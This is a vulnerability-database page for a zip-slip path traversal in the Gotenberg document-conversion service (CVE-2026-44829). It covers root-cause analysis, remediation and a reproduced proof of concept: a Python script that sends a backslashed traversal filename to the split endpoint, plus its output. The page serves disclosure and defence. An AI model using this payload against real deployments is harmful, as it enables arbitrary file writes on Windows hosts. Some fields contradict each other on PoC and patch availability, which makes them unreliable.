Skip to main content

Gotenberg CVE-2026-44829

| EUVDEUVD-2026-62427 HIGH
Path Traversal (CWE-22)
2026-05-29 https://github.com/gotenberg/gotenberg GHSA-hwc4-gmrw-5222
8.8
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify exposed Gotenberg endpoint
  2. Delivery
    Craft multipart upload with backslashed filename via Python requests
  3. Exploit
    POST to /forms/pdfengines/split
  4. Install
    Receive zip with traversal entry names
  5. C2
    Windows consumer extracts archive (UI:R)
  6. Execute
    Files written outside extraction directory into Windows\System32 or Startup paths
  7. Impact
    Code execution or persistence on Windows host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the Gotenberg instance expose any multi-output route (/forms/pdfengines/split, /flatten, /encrypt, /embed, /watermark, /stamp, /rotate with multiple input PDFs, /forms/libreoffice/convert or /forms/pdfengines/convert with multiple inputs) or accept downloadFrom with attacker-influenced Content-Disposition; the attacker must send a multipart upload whose filename header contains literal backslash separators (curl's -F mangles these on some shells, so a tool like Python requests is needed to deliver the payload byte-perfect). The vulnerable code path executes on every default Linux container deployment of versions through 8.32.0 - no non-default configuration is needed on Gotenberg's side. Realistic impact is gated by UI:R: a downstream Windows extractor (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory) must process the returned zip; pure Linux or macOS consumers ignore the backslash and are not affected, and authenticated/network-isolated deployments where no Windows host ever opens the output are out of reach.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L = 8.8) accurately reflects the asymmetry of this bug: exploitation is trivial against Gotenberg itself (network, low complexity, no privileges) but actual file write requires UI:R - a Windows user or downstream automation extracting the returned zip with an extractor that honours backslashes (7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory; Windows Explorer collapses '..' but still creates the nested Windows\System32\ tree). The scope change (S:C) and high integrity impact are justified because the write lands outside Gotenberg's container, on whatever client consumes the zip. No EPSS score, KEV listing, or independent SSVC assessment is supplied in the input, so probabilistic exploitation cannot be quantified; however, a byte-perfect, fully-automatable PoC ships in the GHSA advisory, raising practical risk above what raw EPSS would normally indicate for an obscure document-conversion service. Real priority is high for any pipeline where Gotenberg output is unpacked on Windows endpoints, and lower for pure Linux/macOS consumers.

Exploit ScenarioDerived

An attacker with network reach to a Gotenberg instance POSTs two PDFs to /forms/pdfengines/split with a Python requests multipart upload whose filename field is set byte-perfect to '..\..\..\..\Windows\System32\evil.pdf' and receives an application/zip response in which the central-directory entries carry the literal backslashed path. When a Windows operator or a downstream automation job extracts that zip with 7-Zip, WinRAR, or .NET ZipFile.ExtractToDirectory, the malicious entries escape the intended output folder and land in attacker-chosen locations such as Startup folders or service binary paths. A complete, working PoC (Docker run, two-step merge+split, raw hex verification) is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Zip slip path traversal in Gotenberg through version 8.32.0 allows remote unauthenticated attackers to plant files outside the extraction directory on Windows hosts that unzip multi-output API responses. Because Gotenberg runs on Linux containers, its filepath.Base sanitisation never strips Windows-style backslashes from uploaded multipart filenames, so a crafted name like '..\..\..\Windows\System32\evil.pdf' is preserved verbatim as a zip entry name and honoured by Windows extractors (7-Zip, WinRAR, .NET ZipFile, Explorer). A working publicly available exploit code exists in the GHSA advisory; the issue is not present in CISA KEV and no EPSS score was provided.

RemediationAI

Vendor-released patch: upgrade to Gotenberg v8.33.0 or later, whose release notes (https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0) explicitly add stripping of both forward-slash and backslash path separators from caller-supplied Gotenberg-Output-Filename headers and multipart filename fields. If immediate upgrade is not possible, sanitise filenames at an upstream proxy by rejecting or rewriting any multipart filename or Content-Disposition parameter containing '\' or '..' before the request reaches Gotenberg (this may break legitimate Windows clients that submit native paths). As an additional defensive layer, change downstream consumers to extract Gotenberg zip output with tooling that normalises backslashes and rejects '..' segments - for example, validate each zip entry name with a path-canonicalisation step in the consuming pipeline - rather than feeding the archive straight into 7-Zip/WinRAR/ZipFile.ExtractToDirectory; the trade-off is added latency and code in every consumer. Disabling the multi-output routes (/forms/pdfengines/split and similar) and the downloadFrom feature eliminates exposure but removes core product functionality.

Affected VersionsENISA

gotenberg < 8.33.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.33.0
euvd gotenberg fix: 8.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Go-based HTTP service (github.com/gotenberg/gotenberg/v8, pkg:go) that wraps Chromium, LibreOffice and PDF engines to convert documents. The root cause is a classic CWE-22 path traversal arising from a host/target OS mismatch: in pkg/modules/api/context.go (lines 434 and 472) the handler calls filepath.Base(fh.Filename), but Go's filepath package on Linux only treats '/' as a separator, leaving backslash sequences untouched. The unsanitised name flows through ctx.diskToOriginal and SplitPdfStub into the mholt/archives v0.1.5 library, whose nameOnDiskToNameInArchive writes the supplied map value verbatim into the zip central directory. The same diskToOriginal map is also reachable through the downloadFrom Content-Disposition filename parameter, broadening the input surface beyond direct multipart uploads.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

go
filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim - there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

go
originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") - the map value verbatim.

Suggested fix

diff
- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

bash
mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done
# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf
# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'
# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')
# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

powershell
Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

  • Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).
  • Reachable via every multi-output Gotenberg route - /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.
  • Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" - the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

Executive ViewAI

Why It Matters

Gotenberg versions through 8.32.0 contain a path traversal vulnerability enabling remote, unauthenticated attackers to write arbitrary files outside intended extraction directories on Windows systems processing multi-output API responses. Publicly available exploit code exists, increasing attack likelihood. The vulnerability arises from a cross-platform inconsistency-Gotenberg's Linux-based path sanitization fails to recognize Windows-style backslashes in filenames, allowing malicious zip entries to bypass validation and compromise Windows systems extracting Gotenberg outputs.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict Gotenberg API access to internal networks only, blocking remote attacker access; (2) route Gotenberg output processing exclusively to Linux systems where Windows path traversal cannot execute; (3) implement strict input filename validation rejecting backslashes and parent-directory sequences before extraction; (4) monitor Windows file creation events via SIEM or EDR for unauthorized writes to System32 and other sensitive directories; (5) sandbox Gotenberg output extraction on isolated virtual machines without privileged access or network connectivity to production systems.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy